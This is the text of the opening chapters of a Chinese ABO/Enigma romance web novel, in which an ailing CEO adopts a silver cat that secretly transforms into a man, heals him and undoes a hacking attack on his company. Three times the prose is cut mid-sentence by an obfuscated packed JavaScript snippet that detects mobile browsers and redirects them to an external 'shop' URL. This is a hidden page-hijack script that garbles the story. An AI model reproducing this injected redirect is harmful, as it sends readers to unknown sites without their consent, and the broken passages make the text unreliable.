《Enigma大号小号都想攻我!》 1. 第 1 章 注射器里的抑制剂推入静脉已经过去二十分钟了。 身体里每根骨头都像被人一寸寸敲碎,四肢百骸也在疯狂地叫嚣着,一股难以言喻的抽离感从每一个毛孔向外撕扯。 蒋晗觉得,自己大概是要死在这场没完没了的暴雨里了。 他瘫在客厅的地毯上,背靠着沙发,苍白的指尖死死攥着那支空了的注射器,手背上的青筋因为过度用力而凸起。 信息素正洪水般从体内疯狂流逝,作为一个顶级S级Alpha,却因为药物封锁导致信息素衰竭沦为伪beta,这种反噬发作起来,简直比把他扔进绞肉机里还痛苦。 抑制剂的药被换了,不用猜都知道是谁动的手脚。 除了他那位“慈爱”的叔父,整个蒋氏集团上下还有谁能在他私人医生开出的药上做手脚,还有谁巴不得他明天就暴毙在自家客厅,好顺理成章接手他父母留下的百亿资产? 为了他这个位置,叔父还真是煞费苦心啊。 冰汗已经浸透了病弱美人的衬衫,黏腻的贴在皮肤上。 蒋晗咬着牙想撑起身,四肢却像灌了铅一样沉重,意识在剧痛和眩晕中反复沉浮,到后来视线也开始模糊。 窗外暴雨如注,在那一瞬间,蒋晗居然有点想笑。 多应景啊,父母去世那晚也是这样的暴雨天,他缩在医院走廊的椅子上,听着医生用平静到残忍的声音宣布抢救无效,听着叔父假惺惺的安慰和周围人或真或假的叹息。 从那天起他就知道,这世上能让他毫无防备活着的地方大概再也没有了。 十七岁被注射不明药剂,信息素全面崩溃。 十八岁接手摇摇欲坠的集团,在董事会的冷眼和叔父的“关照”下战战兢兢如履薄冰。 二十二岁,他成了商界闻名的病秧子总裁,手握最大股权,却厌恶一切社交,能用视频会议解决绝不出席现场,传闻活不过三十岁。 今年他二十三岁,可能真要应验了,看来阎王爷都嫌他命硬,还要给他打个折。 “死了,倒也省事。” 认命的念头一旦升起,紧绷的神经便彻底垮了。 意识彻底消散前,蒋晗迷迷糊糊的想,如果真有下辈子,他一定要当只猫。 不用说话,不用应酬,不用每天戴着高冷总裁的面具掩饰自己看到人群就想逃跑的恐慌,就想找个温暖的地方晒太阳,饿了就叫一声,困了就睡一觉,不爽了就给一爪子…… “喵……” 微弱到几乎被暴雨声完全掩盖的叫声,像一根细针,轻轻刺破了蒋晗逐渐混沌的意识。 他费力的掀开眼皮,艰难地偏过头,涣散的目光投向那扇巨大的落地窗。 冰冷的雨水中,露台的角落里,一团银白色小东西蜷缩在那里,几乎与阴影融为一体。 它的毛发全都被雨水打湿,但那双冰蓝色的兽瞳却在黑暗中亮得惊人,正直勾勾地盯着他。 是猫啊。 蒋晗一晒,没想到自己都快死了,还有猫来瞻仰遗容? 虚弱的男人扯了扯嘴角,鬼使神差的,摸索着按下了沙发扶手旁的一个按钮,落地窗旁电子玻璃控门缓缓滑开。 狂风裹挟着冰冷的雨水瞬间灌入,蒋晗看着那只银白色的身影踉踉跄跄从窗缝挤进来,在地板上留下一串湿漉漉的爪印,然后走到他身边,停下。 “真惨,你也没人要吗?” 蒋晗的声音哑得几乎听不见,朝小猫抬起颤抖着的手,小猫没叫,只是往前蹭了蹭,将湿漉漉的脑袋抵在他冰冷的手心里。 “算你……走运……这么大的雨,不用死在……外面了……”蒋晗从牙缝里挤出句话,用尽气力,在彻底失去意识的前一秒,一把将那团浑身湿透冰冷的小东西捞过来抱在了怀里。 然而就在他接触到小猫冰冷湿漉绒毛的瞬间,一股难以形容的战栗从脊椎末端猛得炸开! 蒋晗感觉怀里原本冰冷的小身体突然变得滚烫,烫得他发痛。 他无意识地呻吟出声,想要松手,身体却完全不听使唤,甚至怀里的重量也在增加! 触感在变化,柔软的绒毛一寸一寸慢慢变成了某种温热光滑且富有弹性的……皮肤?! 蒋晗瞳孔巨震,模糊的视野里他看见一个轮廓修长的男人身影正撑在自己身体上方。 湿漉漉的银白色长发垂落,发梢扫过他的脸颊,带着雨水和某种清冽的木质冷香。 闪电再次亮起。 然而涣散的视线无法让他仔细捕捉到对方的容貌,只有一双冰蓝色的瞳孔,在昏暗光线下呈现出某种非人的神圣,正一眨不眨的锁定着他,目光里翻涌着某种捕食者般近乎贪婪的渴望。 幻觉。 这一定是信息素崩溃导致的幻觉! 蒋晗混乱的想着,他要死了,所以大脑开始播放这种离谱的临终关怀小电影。 男人滚烫的体温,压在他身上的重量,扣在他腰际那只骨节分明的手的力度。 对方低下头,湿漉的银发垂落,带着侵略性的气息也随之笼罩下来。 这小电影还挺真实。 蒋晗感觉到自己侧颈腺体的位置,被什么温热柔软的东西碰了一下,紧接着尖锐的刺痛传来。 “呃……”他控制不住地弓起身。 在对方犬齿刺破侧颈皮肤的瞬间,一股汹涌霸道又完全陌生的信息素,蛮横的冲进了蒋晗濒临枯竭的腺体! 剧烈的酥麻和战栗从后颈炸开,瞬间席卷全身每一个细胞。 蒋晗的大脑一片空白,只能感觉到那股力量在他体内横冲直撞,所过之处灼烧的疼痛竟然奇迹般地开始消退。 他张着嘴,却发不出完整的声音,只能徒劳的喘息着,眼泪因为过度的刺激不受控制涌出来。 压在他身上的男人似乎低低笑了一声,滚烫的呼吸喷在耳侧,带着某种餍足的喘息。 “终于找到你了……”低沉的嗓音带着一丝沙哑的磁性,直接钻进了蒋晗的意识里。 【这具身体比想象中更糟】 【但信息素纯度……】 【简直完美!】 更强烈的能量共振在两人之间爆发,蒋晗眼前彻底被白光淹没,最后的意识里只剩下那双冰蓝色仿佛能笼罩整个夜晚的眼。 - 再次恢复意识时,蒋晗发现自己还躺在地毯上。 他缓缓睁开眼,客厅里只开了一盏落地灯,暖黄的光线笼罩着周围,暴雨停了,窗外是凌晨时分灰蓝色的天空。 没有预想中那种身体被碾碎重组的剧痛,也没有那种随时会断气的窒息感,不仅不疼,甚至有一种久违的舒适和轻松。 以往每次信息素衰竭症发作后,他至少要躺个三五天才能勉强恢复。 但现在,除了后颈腺体处还有些微刺麻感,以及身体因为在地板上躺了半夜而有些僵硬外,他竟然感觉还不错? 这不对劲! 蒋晗撑着身体坐起来,抬手下意识的摸向颈侧,指尖触到一个微微凸起的痕迹,很明显,牙印。 昨晚那些破碎混乱荒诞的画面断断续续重回脑海,湿透的小猫,滚烫的人影,冰蓝色的眼睛,刺破腺体的疼痛…… 蒋晗挤了挤眉心,试图将这些画面拼凑起来,但当时得意识太过混乱,实在没办法将所有画面和记忆重组。 一定是幻觉!那种超自然的现象怎么可能存在…… 他试图用唯物主义说服自己,目光却下意识地在客厅里急切搜寻,随后便在沙发角落的羊毛毯里看到了一团小小的银白色身影。 小猫蜷缩在那里睡得正香,小小的身体随着呼吸轻轻起伏,肚皮上的绒毛柔软地贴在毯子上,银白色的毛发已经干了,在灯光下泛着柔和光泽,和昨晚那副湿漉狼狈的模样判若两猫。 蒋晗错愕愣住,目光探寻又充满警惕的看向小猫。 昨晚,有猫。 后来,有人。 现在,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265357|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有猫。 似乎是察觉到他的视线,小猫的耳朵轻轻动了动,然后睁开了眼。 冰蓝色的瞳孔,和昨晚幻觉里那个男人的眼睛一模一样! 蒋晗的心脏猛地一跳! 猫看着他,歪了歪头,轻轻“喵”了一声,声音软糯,眼神无辜,和任何一只普通可爱的家猫没有任何区别。 “……是巧合吧。”蒋晗低声自语了一句,而后撑着发软的身体站起来,慢慢走到沙发边,蹲下身,试探性地伸出手。 小猫在虚弱的男人警惕的注视下,伸出它那只粉色的小舌头,试探性的,轻柔舔了一下对方的指尖。 一人一猫就这样对视了几秒。 蒋晗:…… 紧绷的神经莫名其妙的松了下来,他轻轻将小猫抱起来,小猫很配合地缩进他怀里,甚至还用粉嫩的小舌头舔了舔他的手腕。 蒋晗:!!! 清冷淡漠的病美人,那个在外人面前多说一个字都嫌累的病秧子总裁,此刻彻底破防! “好可爱!” “好好rua啊!” “你从哪来的?” “你为什么不怕我?” 蒋晗把小猫举高高,看着怀里这团温暖的小生命,昨晚那种同病相怜的感觉又涌了上来。 不管昨晚发生了什么,至少现在是这只猫陪在他身边,在他以为自己要孤独死在暴雨夜的时候,是这个小东西出现了。 身体莫名的好转,虽然不知道原因,但也许真的像老话说的,猫能带来好运? 怀里的小猫似乎被他的目光惊扰,僵硬了一瞬,随即认命般的发出了“喵呜……”的微弱抗议,紧接着伸出粉嫩的肉垫,在蒋晗胸口的睡衣上按了几下,像是在推诿,可这一波操作在蒋晗看来,不就是在踩奶吗啊啊啊! 冰山美人瞬间炸锅,抱着小猫又是一顿乱rua。 自从当年那场变故之后,蒋晗就把自己彻底锁进了这座华丽的坟墓,拒绝一切形式的靠近。 这栋别墅很大,佣人很多,他却觉得永远只有他一个人,安静得像一座坟墓。 而现在,这个小东西的出现,像一道光,就这么横冲直撞闯了进来,毫无预兆地照进了这潭死水般的生活。 “你叫什么名字?”蒋晗在小猫脖子下面找了找,没有发现项圈或名牌,随后: “算了,我给你取一个吧。” “让我想想……”蒋晗抱着小猫走到一旁沙发上坐下,将它放在自己腿上,有一下没一下的轻轻抓挠着小猫的脊背。 “你好漂亮。” 病弱的美人毫不吝啬自己的赞美,银白小猫骄傲地眯起眼睛,贪婪的“呼噜”了一声,似乎对他的赞美很满意,仰起头让他抓一抓自己的脖子。 看着它那一身银白色干净的长毛,美人终于开口:“这么白,干脆叫你‘煤球’好了。” 话音刚落,蒋晗清楚地看到怀里那只小猫的身体僵了一瞬,甚至连呼噜声都戛然而止,它猛地抬起头,不可置信地看向他。 紧接着,那双本该纯真无邪的冰蓝色兽瞳里飞快地闪过了一丝似乎混杂着无语和嫌弃的复杂神色。 但蒋晗没看见,他只是抱着猫走到落地窗前,雨后的天空开始泛起鱼肚白,新的一天就要开始了,他又要戴上总裁的面具去面对那些虎视眈眈的股东,笑里藏刀的叔父,以及永远处理不完的公文和阴谋。 但至少现在,他怀里有了一团温暖又安静,不会要求他社交也不会背叛他的小东西。 “煤球,煤球……”他一遍遍地叫着这个名字,声音里带着连自己都未曾察觉的轻松和依赖。 蒋晗把脸埋进猫柔软蓬松的毛发里,深深吸了一口。 那股清冽如雪松般的冷香气息似乎还若有若无的萦绕在鼻息,但他归咎于幻觉的后遗症,“以后,就我们俩相依为命了。” 小猫很乖的就这样被他抱着,只有那双冰蓝色的兽瞳,闪过一丝极淡的微光。 2. 第 2 章 暴雨过后的A市空气中透着一股潮湿的土腥味,蒋氏集团顶层办公室的真皮转椅里,清冷病弱的总裁看着面前电脑上三块显示器闪烁着令人心悸的红光,第一次觉祸不单行这个词,大概就是为他量身定做的。 暴雨夜勉强捡回一条命,之后的第三天,集团核心数据库被人恶意黑了。 “警告:核心数据库已被锁定。” “倒计时:71小时58分……” 红色的倒计时像一把悬在头顶的达摩克利斯之剑,每一次跳动仿佛都在嘲笑他的无能。 若是普通黑客骚扰的那种小打小闹,蒋晗或许自己就能解决,再不济还有网络技术部。 可对方明显是带着专业又明确勒索性质的恶意加密锁,数据库涉及核心指标诸多,倒计时结束数据将会永久销毁并启动巨额违约金程序。 “蒋总,技术部那边……还是没办法。”特助李森的声音有些发抖,即便隔着电话,也能听出那种大难临头的恐慌。 “对方用的加密算法太诡异了,我们甚至追踪不到攻击源,强行破解只会触发更高级别的自毁程序。”李森泄了气似的幽幽说道: “董事会那边已经炸锅了,您叔父……蒋副董刚才在会议室拍桌子,说如果三天内不解决,就要启动紧急预案,还要……” “还要召集所有股东弹劾我,是吗?”蒋晗开口,由于身体孱弱的缘故,声音低冷得像刚从冰窖里捞出来,听不出丝毫情绪起伏。 大概是看他暴雨夜没死成,急了。 叔父的老把戏了。 “知道了。”蒋晗的声音很平静,平静得甚至有些冷漠,“先稳住董事会,特别是我叔父那边,就说我在处理。” 挂断电话,办公室里重新陷入寂静,只有墙上古董挂钟,配合着电脑屏幕上的倒计时,滴答滴答有节奏地摆动。 蒋晗闭着眼睛抬手按了按突突直跳的太阳穴。 三天,十亿,把他卖了还差不多,就算能赔得起,他也不可能给,这口子一开,蒋振业下次就敢张嘴直接要他半条腿,演都不用演了。 “喵呜~” 一声软糯的猫叫打破了办公室死一般的寂静,蒋晗睁开眼,低头看向脚边。 银白小猫正扒拉着他的裤脚,仰着小脑袋,那双冰蓝色的眼睛里写满了不解。 煤球今天格外粘人,从他起床就一直跟着,没办法只好把它带到办公室,倒是现在,看到这团银白色小东西,蒋晗紧绷到快要断裂的神经竟奇迹般地松了一瞬。 蒋晗弯腰单手将小猫捞进怀里,把脸埋进猫咪柔软毛发中深深吸了一口气。 “小煤球……” “只有你不嫌弃我是个快死的废人,只有你不会算计我的家产。” 小猫没动,只是尾巴不经意的扫过他的手腕。 男人声音闷闷的,带着一丝平日里绝不会示人的脆弱和委屈,说着,抱着小猫又在它头顶蹭蹭,亲了一口。 【咳……松、松手,要被勒死了……】猫脸通红。 虽然心里吐槽,但感受到抱着自己的人正在微微颤抖,小猫像是无奈叹了口气,伸出粉嫩的舌头,安抚的舔了舔蒋晗苍白的下巴。 【谁说你是废人了……】 蒋晗自然听不到怀里这个看似无害的小东西正在腹诽,只是自嘲地笑了笑,他居然对着一只猫诉苦,真是越活越回去了。 但没办法,他的世界里除了这只三天前莫名其妙出现的猫,甚至找不到第二个能让他稍微放松戒备的存在。 “行了,别安慰我了,你也帮不了我,这可都是国内顶尖黑客的手笔。”蒋晗抱起小猫,“咱们回家。” 夜色渐深,半山别墅内只有书房的灯突兀亮着。 蒋晗强迫自己集中精神,调出那份被黑的核心数据,手指敲击着键盘找到加密锁,试图寻找一丝漏洞,然而只是徒劳,于是又想要从过往名单中找出可能破解这种加密技术的人,但越看心越沉。 这种级别的技术已经超出了普通商业黑客的范畴,叔父为了他还真是费心了啊,竟然找到这么狠的角色来黑他。 小猫眯着眼睛趴在男人腿上像是在小寐,偶尔发出一两声无意识的“呼噜”声。 大概是小猫带给他稍许静谧,蒋晗觉得疲惫感突然潮水般涌来。 之前的信息素暴动耗尽了他太多的精力,加上这一整天的折磨,蒋晗终于扛不住了,他就这么抱着猫,靠在书房宽大的转椅里沉沉睡了过去。 时针指向凌晨三点钟,书房里只有主机箱运作的嗡嗡声,原本乖巧趴在蒋晗膝盖上的猫,动了。 小猫灵活的从蒋晗怀里钻出来跳到了宽大的红木书桌上,月光透过落地窗洒进来,照在那身银白的绒毛上,泛起一层诡异而神圣的光晕。 银白小猫抖了抖毛,回头看了一眼熟睡的男人。 这个人类长得是真好看,哪怕睡着了眉心还紧紧蹙着,那种抽离的破碎感,简直是在勾引人犯罪。 【真麻烦。】 【你这个长期饭票要是破产了,我也没得吃。】 下一秒,书房里的空气仿佛骤然凝固,一股霸道至极又极为陌生的信息素铺天盖地蔓延开来,瞬间包裹了整个空间。 原本较小可爱的一团小东西,在月光下无声无息扭曲拉长,紧接着一个身形修长挺拔的银发男人出现在熟睡的病弱总裁面前。 男人的样貌异常俊美,那种与生俱来的的高贵中带着些许锋利,鼻梁高挺,一双冰蓝色的眼睛亮得惊人,看人的时候眉梢微挑带着一丝痞里痞气的笑意,银色的长发随意地披散在腰背,却遮不住那隔着衣服布料也能显现的肌肉线条。 “你现在这点信息素只够我维持十几分钟,真是弱得可以。”男人活动了一下有些僵硬的脖子,嫌弃的看了一眼自己现在的状态,随即转过身,并没有多看蒋晗一眼,虽然他很想趁机再咬一口那诱人的腺体,但现在还有正事要办。 修长的手指悬在键盘上方,作为稀有得Enigma猫族,同时也是全球科技巨头家族的继承人,这种级别的黑客攻击在他眼里就像是幼儿园小朋友的涂鸦一样幼稚可笑。 指尖敲击键盘的声音在寂静的夜里显得格外清脆,很快,屏幕上那嚣张的红色倒计时突然卡顿了一下,紧接着无数绿色代码瀑布般刷下,速度快得让人眼花缭乱。 长发男人嘴角勾起一抹玩味的弧度,“这帮杂碎,用这么低级的镜像劫持技术,也敢来动我看上的人。” 虽然他只是想碰瓷儿找个顶级S级Alpha信息素来帮自己完成最后的蜕变,但这并不代表别人可以随意欺负他的所有物,猫的领地意识可是很强的好吗! 短短三分钟,那个让蒋氏集团几十名顶尖工程师束手无策的死锁,彻底瓦解。 男人并没有就此收手,在键盘上又随便敲了几下,顺手一个追踪病毒原路返回给了攻击者,甚至还悄无声息的植入了对方的服务器。 “砰!送你们个惊喜大礼包,嘻嘻。” 做完这一切,男人看了一眼屏幕右下角的时间,还剩两分钟,他想了想,随后在电脑桌面上留下一句话: 【锁已解,顺手植了个追踪病毒,不用谢。】 下面跟着一个嚣张到占据了半个屏幕的黑金色花体字母: “K”。 搞定收工。 银发男人满意的欣赏了一下自己的杰作,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265358|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过身,目光终于落回了蒋晗身上。 睡着的病弱美人似乎感觉到了冷,无意识地缩了缩脖子。 男人眼神暗了暗,稍顷,俯下身去。 而后只是伸出手指,轻轻抚平了对方眉心的褶皱,然后指尖在那苍白的嘴唇上虚虚的停了一瞬。 “这次算你欠我的。” 男人低沉略带轻扬的声音消散在空中,一阵白光闪过,书房内除了睡着的总裁,再无他人。 白光彻底消散,一只银白小猫有些脱力的跌落在办公桌上,它甩了甩尾巴,有些不满的“喵”了一声,然后轻巧跳回蒋晗的膝盖上,找了个舒服的姿势,重新团成一团,闭上了眼睛。 - 清晨的第一缕阳光刺破云层,照在男人清秀淡漠的脸上,蒋晗猛地惊醒,心脏一阵狂跳。 他坐直身子下意识去抓鼠标晃动了两下,想要看看到底还剩多少时间,却在屏幕亮起的瞬间,整个人一愣。 由于视觉冲击力过大,湛蓝色的电脑桌面上,巨大的黑金色“K”字狂妄又刺眼。 系统运转正常,数据恢复如初。 蒋晗盯着屏幕,足足愣了一分钟。 黑金色字母K的右下角,有个不太明显的咆哮的银狮logo,虽然和签名浑然天成不足以让人额外关注,但对于蒋晗,他死都不会看错。 天穹科技的徽标,上月刚在城南竞标的关键时刻,以毫厘之差把他截胡的那个国内数一数二的科技公司。 对方不仅拿出了比他们更完美的技术方案,甚至连标底都压得只比他们低一块钱。 那种被全方位碾压的耻辱,蒋晗至今记得。 “K……”蒋晗低声自语,瞳孔微微收缩。 天穹集团是吧…… 抢他的项目,现在又来帮他,什么意思? 打一棒子给个甜枣? 猫捉老鼠的游戏? 蒋晗仿佛能透过屏幕,看到那个“K”正站在高处,用一种看垃圾的戏虐眼神嘲笑他。 手机铃声打断清冷总裁的思绪,蒋晗接起电话,听筒里传来特助李森激动的声音: “蒋总!好了!系统好了!而且对方的服务器好像瘫痪了!真是神了,咱们技术部什么时候有这种大神了?” 蒋晗冷冷扫了一眼电脑屏幕,电话那头李森似乎觉出不对劲,瞬间噤声,若是站在面前就能发现,自家老板的脸色比系统崩溃时还要难看。 “不是技术部做的。” 李森:“啊?” 蒋晗盯着屏幕,“K。” 李森倒吸一口凉气:“K?!天穹集团那个……K?他、他为什么要帮我们?他们不是上个月才抢了我们的标吗?” “我也想知道。”蒋晗纤弱的声音冷冷说道,那种被死对头救了命的屈辱感,让他胃里一阵翻腾。 但他是商人,理智告诉他,不管K出于什么目的,对方展现出的技术实力,是目前蒋氏集团唯一的救命稻草,而且既然K出手了,就说明对方有所图。 有所图就好,他就怕对方无欲无求。 “李森,”蒋晗声音冷得像冰,“动用所有渠道,想办法联系上K,我要见他,时间地点随他定。” 叔父想必不会善罢甘休,如果不出意外,K留下的追踪病毒已经顺利进入对方团队的电脑里,他们想抹灭证据,必定还会动手。 他要在叔父再次出手前联系上K。 “可是蒋总,据业界所传,K行踪诡秘,从来不露面……” “暗网上,告诉他我想跟他做个交易,多少钱,随他开。” 趴在男人腿上闭着眼睛假寐的小猫,终于懒洋洋的抬起眼皮看了他一眼。 3. 第 3 章 次日一早,蒋晗起床早饭还没吃,特助李森电话就打了过来,称天穹科技发来回复函,明确表示,不要指望单独联系上K,想要帮忙,拿出诚意。 蒋晗气得咬牙,顺手把电话往餐桌上一丢,颓然仰靠在椅背上,深深呼了口气。 前一秒还在为生存挣扎,后一秒就被敌人像喂狗一样施舍了条生路。 “该死的K……”蒋晗低声骂了一句,手指微微用力扣在面前的餐桌上。 按照他对天穹科技和这个传说中的K这个商业土匪的了解,所谓的诚意,怕不是要把蒋氏集团的股份割一块肉下来给他下酒喝。 “喵~”膝盖上传来一声软糯的叫声。 腿上一重,煤球不知道什么时候过来,轻盈跳到他腿上,紧接着又跃到餐桌上,用脑袋蹭了蹭自己冰冷的手,随即抬起头眨巴着大眼睛看着他,冰蓝色的兽瞳里带着一丝无辜和关切。 蒋晗一愣,满身的戾气在对上那双清澈的兽瞳时瞬间消散了大半,他轻轻叹了口气,将小猫捞过来抱进怀里,把脸埋进那带着淡淡冷香的银白毛发中。 “煤球,”他闷闷地说,声音里带着些委屈和不容被察觉的撒娇,“还是你好,从来不跟我谈条件,也不会在我的电脑屏幕上画鬼符,更不会用这种恶心人的方式来嘲笑我。” 蒋晗一边无意识的撸着猫毛,一边开启了在任何人面前都不可能展现的碎碎念模式。 “那个K,他就是个趁火打劫的强盗!” “混蛋!自大!傲慢!目中无人!” “上个月抢了我的项目,今天又来装好人,黑进了我的电脑不说,还在上面留名字,生怕我不知道是他干的?简直是自恋狂!变态!” “煤球,看见了吗?这就是男人,嘴上说着帮你,反手就要让你带着诚意去进贡。” “虚伪,恶臭!” 煤球:“……” 【骂得真起劲!】 【自大,傲慢,目中无人?】 【哼,评价的还挺准。】 小猫的尾巴勾了勾,左右轻轻晃了两下,随即“喵呜!”一声,试图为自己辩解两句。 “你不用替他说话!”蒋晗一本正经的制止住它,“等着吧,他肯定会狮子大开口,说不定还想借此要挟我,插手集团事务,做梦!” 蒋晗越说越气,揉搓着猫耳朵的手力道无意识的重了重。 “他肯定是个秃顶的猥琐老登,或者是个心理扭曲的死肥宅!不然为什么从来不敢露面?你说是不是,煤球。” 小猫的身子明显一僵,抬起头幽幽的看着眼前的男人。 蒋晗完全没注意到怀里猫咪逐渐变得危险的眼神,还在继续输出:“等我找到他,一定要把钱摔在他脸上,让他知道我也不是好惹的!” “就算他技术再好,人品也是垃圾,垃圾中的战斗机!” 蒋晗把小猫举起来,在粉嫩的鼻子上亲了一口,“以后见到这种人,你就给我挠他!挠死他!” 煤球:……一副死鱼眼的看着他。 - 午后阳光懒洋洋的洒进客厅内,难得偷得浮生半日闲,蒋晗抱着小猫靠在沙发里,又亲又抱又举高高,一人一猫玩得好好的,一阵急促刺耳的门铃声打断了这份短暂的温馨平静。 蒋晗的身体一僵,那是源于对社交的本能抗拒,让刚放松下来的神经瞬间再次绷紧,尤其是在他如此享受私人美好时光的时刻。 清瘦的男人走到门边,手指悬在可视门禁的通话键上迟迟没有按下,他怀里的小猫轻巧一跃,跳到沙发靠背上,继续用那种冰蓝色的兽瞳盯着着他,仿佛要将他看穿。 蒋晗最终还是按下了接听键,为了强压自己的急促情绪而故作镇定,这在外人看来就显得他很冷漠低沉。 【他害怕见人?】 可视电话里,管家笑容可掬,微微颔首俯身说道:“蒋总,您的私人医生已经在门外等候多时了。” 管家说完让出摄像头,身后出现了蒋晗的私人医生李铭那张永远挂着职业假笑的脸。 私人医生不能拒绝,这么多年,只要是打着“为蒋总身体着想”的由头,叔父的眼线就能轻而易举地踏入他的安全区。 与其费劲的去跟他周旋,倒不如直接放他进来,无非就是那些人定期想知道自己还能活多久罢了。 蒋晗抬手按下开门键,随后迅速退到客厅深处,离玄关超过两米的距离,左右环顾,首先竟然想的是把煤球藏起来。 小猫的反应比他更快,几乎在内厅的门被敲响的瞬间,轻盈一跃,无声又稳步的窜到了客厅最高的那个书架上,找了个绝佳的位置蹲坐下来,居高临下的俯视着门口,像个即将检阅臣民的国王。 【不就是个医生吗?拿出你刚才骂我的气势来啊喂!】 蒋晗深吸一口气,努力调动起多年来在人前伪装的“高冷病弱总裁”气场,整理了一下已然很得体的休闲服,走过去开门。 李铭提着急诊箱,一丝不苟的白大褂,金丝边眼镜,他一进来,那股浓郁的药剂混合味道几乎一下子侵占了整个空间。 看到蒋晗状态似乎还不错,医生的脸上闪过一丝转瞬即逝的惊讶和不可置信,随即又换上恰到好处的焦急。 “蒋总,听说您前几天又旧疾复发,我不放心,过来看看。”李铭的视线在纤弱的男人脸上一扫而过,不动声色地推了推眼镜。 “不过您今天的气色看起来比我预想中好很多。” “嗯。”蒋晗应了一声,眼睑半垂,侧过身让他进来,脸上已经挂上了那副标志性的冷漠和疏离,以及写满了“请在一分钟内滚蛋”的神色,一副不想多谈的样子。 早已对这些虚假问候习以为常,蒋晗的目光不动声色地暼到书架顶端,自己那只银白小猫正慢条斯理地舔着爪子,连个眼神都没分给下面的不速之客。 “介意我先为您做个检查吗?”李铭说着已经打开了箱子,压根也不给他作答的机会,只是象征性的通知他一声。 身体里每个细胞都写着抗拒,蒋晗却只能面无表情地转过身,随后便感觉到便携式信息素检测仪贴在了他的侧颈上。 那个牙印已经淡得几乎看不见,但冰凉的检测探接触到后颈皮肤的瞬间,蒋晗的身体还是几不可查的僵了一下,他厌恶这种触碰,那属于另一个活人的体温让他一阵阵反胃。 他强忍着闪躲的冲动,指尖因为过度用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265359|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而微微颤抖。 客厅里一片寂静,只有仪器运作的声音。 几秒钟后,李铭看着屏幕上跳出的数据,眼睛骤然瞪大,像是看到了什么颠覆他几十年医学认知的景象。 “不……这不可能!!”李铭失声道:“信息素水平稳定在安全阈值?!紊乱值下降了百分之七十以上?!” “蒋、蒋总,您这是用了什么新型特效药?这简直是、是医学奇迹!!” 蒋晗的心脏猛地漏了一拍,紧接着又狂跳起来,他强行维持着镇定,退回一步躲闪开来,语气淡漠:“没什么新药,我运气好罢了。” “绝无可能!”李铭上下打量着他,心想被调换的抑制剂只会让你情况更糟,怎么可能会好起来?我死亡报告都写好了你现在让我看这? 惊慌失态的医生猛拍了两下仪器侧面,“仪器坏了?肯定是仪器出故障了!”紧接着手忙脚乱的又从急救箱里拿出一台备用的精密检测仪,声音带着不易察觉的颤抖,甚至连装都不想装了,直接拽过蒋晗手腕:“蒋总,手给我!” 探测头贴上蒋晗的手腕,医生紧紧盯着屏幕,嘴唇抿得发白。 几乎一模一样甚至更优化的数据再次跳出来时,医生脸上的血色瞬间褪去,不可置信的后退了两步。 “蒋总,您是接受了什么特殊治疗吗?还是背着我又找了别的医生?”李铭因为过度急躁下意识的将人往身前拽了一把。 “放、放手!”蒋晗快要被这过分社交搞窒息了,猛地抽回手,仿佛被什么肮脏的东西烫到一样。 李铭的触碰让他恶心,最后只能强撑着沙发扶手,冷淡开口:“大概是之前的治疗方案起效了。” “可是这数据……”李铭说道:“以您病症的严重程度和特殊性,自行缓解到这种程度的概率无限接近于零!我之前的判断……之前的病例记录里从未有过!除非……” 医生的目光不由自主地在空旷的客厅里扫视,必须要找到证据,究竟是什么让他活了下来,回去也好向蒋老先生交差。 最终,带着强烈的探究和怀疑,医生的目光死死定格在了书架顶端那只过于淡定甚至带着几分睥睨姿态的银白色小猫身上。 小猫冰蓝色的瞳孔淡漠的回视着医生,像看傻子一样。 “除非……有什么我们未知的强大外因进行了干预。”李铭推了推滑下鼻梁的眼镜,语气变得极其严肃和咄咄逼人,向前逼近一步: “蒋总,恕我冒昧,您养猫了?什么时候的事?它是什么品种?来源是哪里?” 蒋晗的私人医生都是经过叔父精挑细选培训过的,聪明敏感得很,一只活物突然出现,自然会引起他的怀疑和注意。 银白色小猫微微眯着眼睛仰着头,有一下没一下的舔着爪子,姿态相当优雅。 李铭不依不饶,又往前走了一步,逼得蒋晗退无可退,“您的腺体非常独特和敏感,外界刺激可能导致不可预料的后果,让我来检查一下那只猫是否……” “哐当——!” 一声巨响! 书架顶端,一只沉重的青铜麒麟摆件毫无征兆地翻滚坠落,擦着李铭的肩膀,重重砸在他脚边的地板上,摔得四分五裂。 4. 第 4 章 李铭显然被吓了一跳,惊呼一声,向后跌了几步,终于离开了蒋晗的安全距离。 紧接着,医生的身体明显一僵,一股巨大的恐惧让他莫名其妙缩回了手。 那是源自基因深处本能的恐惧,属于顶级Enigma信息素对那些比自己弱小的生物无形的压迫感。 